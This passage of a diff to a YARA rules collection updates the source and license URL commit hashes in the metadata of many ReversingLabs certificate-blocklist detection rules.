-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8902-L8920"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f60753ecb775d664e07e78611568799eaf06fb4742bcef3bf0c28202daf98c50"
 		score = 75
 		quality = 90
@@ -13356,8 +13409,8 @@ rule REVERSINGLABS_Cert_Blocklist_Afc5522898143Aafaab7Fd52304Cf00C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8922-L8940"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8922-L8940"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bfcf2fbbd9be97202eeb44c0f81f0a0713d4d30c466f2b170231c7f9df0e9e6d"
 		score = 75
 		quality = 90
@@ -13381,8 +13434,8 @@ rule REVERSINGLABS_Cert_Blocklist_8B3333D32B2C2A1D33B41Ba5Db9D4D2D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8942-L8960"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8942-L8960"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cdb3f1983ed17df22d17c6321bc2ead2c391d70fdca4a9f6f4784f62196b85d0"
 		score = 75
 		quality = 90
@@ -13406,8 +13459,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fbb1198Bd8Bddb0D693Eb72A8613Fe3F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8962-L8980"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8962-L8980"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2e004116d0f8df5a625b190127655926336fc74b4cce4ae40cd516a135e5d719"
 		score = 75
 		quality = 90
@@ -13431,8 +13484,8 @@ rule REVERSINGLABS_Cert_Blocklist_846F77D9919Fc4405Aefe1701309Bd67 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8982-L9000"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8982-L9000"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6739049a61183d506daf9aaf44a3b15cbf2234c6af307ec95bc07fa3d8501105"
 		score = 75
 		quality = 90
@@ -13456,8 +13509,8 @@ rule REVERSINGLABS_Cert_Blocklist_0939C2Bad859C0432E8E98A6C0162C02 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9002-L9018"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9002-L9018"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3c48241e52e58600bfa0385742831dba59d9cbd959cd6853fe8e030f5df79c23"
 		score = 75
 		quality = 90
@@ -13481,8 +13534,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Fba0E19919Ac50D700Ba60250D02C8B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9020-L9036"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9020-L9036"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8c803111df930056bdc3ef7560f07bf4d255b93286d01ecc55f790e72565ba5d"
 		score = 75
 		quality = 90
@@ -13506,8 +13559,8 @@ rule REVERSINGLABS_Cert_Blocklist_A758504E7971869D0Aec2775Fffa03D5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9038-L9056"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9038-L9056"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dcb1ac4c7dcbebd0a432515da82e4a97be6c6c2a54f9d642aa8c1a2bcbdce5de"
 		score = 75
 		quality = 90
@@ -13531,8 +13584,8 @@ rule REVERSINGLABS_Cert_Blocklist_37A67Cf754Ee5Ae284B4Cf8B9D651604 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9058-L9074"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9058-L9074"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "22cb71eebbb212a4436847c11c7ca9cefaf118086b024014c12498a6a5953af5"
 		score = 75
 		quality = 90
@@ -13556,8 +13609,8 @@ rule REVERSINGLABS_Cert_Blocklist_119Acead668Bad57A48B4F42F294F8F0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9076-L9092"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9076-L9092"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "61c49c60fc4fd5d654a6376fcee43e986a5351f085a5652a3c8888774557e053"
 		score = 75
 		quality = 90
@@ -13581,8 +13634,8 @@ rule REVERSINGLABS_Cert_Blocklist_7A6D30A6Eb2Fa0C3369283725704Ac4C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9094-L9110"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9094-L9110"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "788abb53ed7974d87c1b1bdbe31dcd3e852ea64745d94780d78d1217ee0206fe"
 		score = 75
 		quality = 90
@@ -13606,8 +13659,8 @@ rule REVERSINGLABS_Cert_Blocklist_670C3494206B9F0C18714Fdcffaaa42F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9112-L9128"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9112-L9128"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3b1e244b5f543a05beb2475020aa20dfc723f4dce3a5a0a963db1672d3295721"
 		score = 75
 		quality = 90
@@ -13631,8 +13684,8 @@ rule REVERSINGLABS_Cert_Blocklist_0E8Aa328Af207Ce8Bcae1Dc15C626188 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9130-L9146"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9130-L9146"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4022abb8efbda944e35ff529c5b3b3c9f6370127a945f3eec1310149bb5d06e4"
 		score = 75
 		quality = 90
@@ -13656,8 +13709,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cfad6Be1D823B4Eacb803B720F525A7D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9148-L9166"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9148-L9166"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d8005774e6011d8198039a6588834cd0b13dd728103b63c3ea8b6e0dc3878f05"
 		score = 75
 		quality = 90
@@ -13681,8 +13734,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Ebcb54B7E0E6410B28610De0743D4Dd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9168-L9184"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9168-L9184"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c9444ff9e13192bf300afac12554bc4cc2defb37bb5b57906b6163db378c515a"
 		score = 75
 		quality = 90
@@ -13706,8 +13759,8 @@ rule REVERSINGLABS_Cert_Blocklist_01106Cc293772Ca905A2B6Eff02Bf0F5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9186-L9202"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9186-L9202"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "81e19c06de4546a2cee974230ef7aa15291f20f2e6b6f89c9b12107c26836b5e"
 		score = 75
 		quality = 90
@@ -13731,8 +13784,8 @@ rule REVERSINGLABS_Cert_Blocklist_05Bb162F6Efe852B7Bd4712Fd737A61E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9204-L9220"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9204-L9220"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d2fcbce0826c1478338827376d2c7869e5b38dc6d5e737a2f986600c6f71b1e6"
 		score = 75
 		quality = 90
@@ -13756,8 +13809,8 @@ rule REVERSINGLABS_Cert_Blocklist_6171990Ba1C8E71049Ebb296A35Bd160 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9222-L9238"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9222-L9238"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e922bb850b7c5c70db80e6a2b99310eac48d3b10b94a7259899facd681916bfa"
 		score = 75
 		quality = 90
@@ -13781,8 +13834,8 @@ rule REVERSINGLABS_Cert_Blocklist_2114Ca3Bd2Afd63D7Fa29D744992B043 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9240-L9256"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9240-L9256"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "241fe5a9f233fa36a665d22b38fd360bee21bc9832c15ac9c9d9b17adc3bb306"
 		score = 75
 		quality = 90
@@ -13806,8 +13859,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Aaa62208A3A78Bfac1443007D031E61 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9258-L9274"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9258-L9274"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7ba7f69514230fe636efc0a12fb9ac489a5a80ca1f5bcdb050dd30ee8f69659c"
 		score = 75
 		quality = 90
@@ -13831,8 +13884,8 @@ rule REVERSINGLABS_Cert_Blocklist_09450B8F73Ea43E39D2Cdd56049Dbe40 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9276-L9292"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9276-L9292"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "22b344b8befc00b0154d225603c81c6058399770f54cb6a09d0f7908c5c8188c"
 		score = 75
 		quality = 90
@@ -13856,8 +13909,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Efd9Bd4B4281C6522D96011Df46C9C4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9294-L9310"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9294-L9310"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8f8a5e3457c05c5e70e33041c5b0b971cf8f19313d47055fd760ed17d94c8794"
 		score = 75
 		quality = 90
@@ -13881,8 +13934,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Dd7D4A785990584D8C0837659173272 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9312-L9328"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9312-L9328"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d18a479f07f2bdb890437e2bcb0213abdfb0eb684cdaf17c5eb0583039f2edb4"
 		score = 75
 		quality = 90
@@ -13906,8 +13959,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C59D46580F039Af2C4Ab6Ba0Ffed197 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9330-L9346"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9330-L9346"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "32eea2a436f386ef44a00ef72be8be7d4070b02f84ba71c7ee1ca407fddce8ec"
 		score = 75
 		quality = 90
@@ -13931,8 +13984,8 @@ rule REVERSINGLABS_Cert_Blocklist_0448Ec8D26597F99912138500Cc41C1B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9348-L9364"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9348-L9364"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "001556c31cfb0d94978adc48dc0d24c83666512348c65508975cc9e1a119aeae"
 		score = 75
 		quality = 90
@@ -13956,8 +14009,8 @@ rule REVERSINGLABS_Cert_Blocklist_0108Cbaee60728F5Bf06E45A56D6F170 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9366-L9382"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9366-L9382"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "52027548e20c819e73ea5e9afd87faaca4498bc39e54dd30ad99a24e3ace57fd"
 		score = 75
 		quality = 90
@@ -13981,8 +14034,8 @@ rule REVERSINGLABS_Cert_Blocklist_038D56A12153E8B5C74C69Bff65Cbe3F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9384-L9400"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9384-L9400"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ed3a81231f93f9d2ae462481503ba37072c3800dd1379baae11737f093a27af1"
 		score = 75
 		quality = 90
@@ -14006,8 +14059,8 @@ rule REVERSINGLABS_Cert_Blocklist_060D94E2Ccae84536654D9Daf39Fef1E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9402-L9418"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9402-L9418"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "49000f3a3ce1ad9aef87162d7527b8f062e0aa12276b82c7335f0ccc14b7d38a"
 		score = 75
 		quality = 90
@@ -14031,8 +14084,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Bc9B800F480691Bd6B60963466B0C75 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9420-L9436"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9420-L9436"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6a498fd30c611976e9aad2f9b85b13c3c29246582cdfefc800615db88e40dac2"
 		score = 75
 		quality = 90
@@ -14056,8 +14109,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C4324Ff41F0A7B16Ffcc93Dffa8Fa99 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L9438-L9454"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L9438-L9454"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
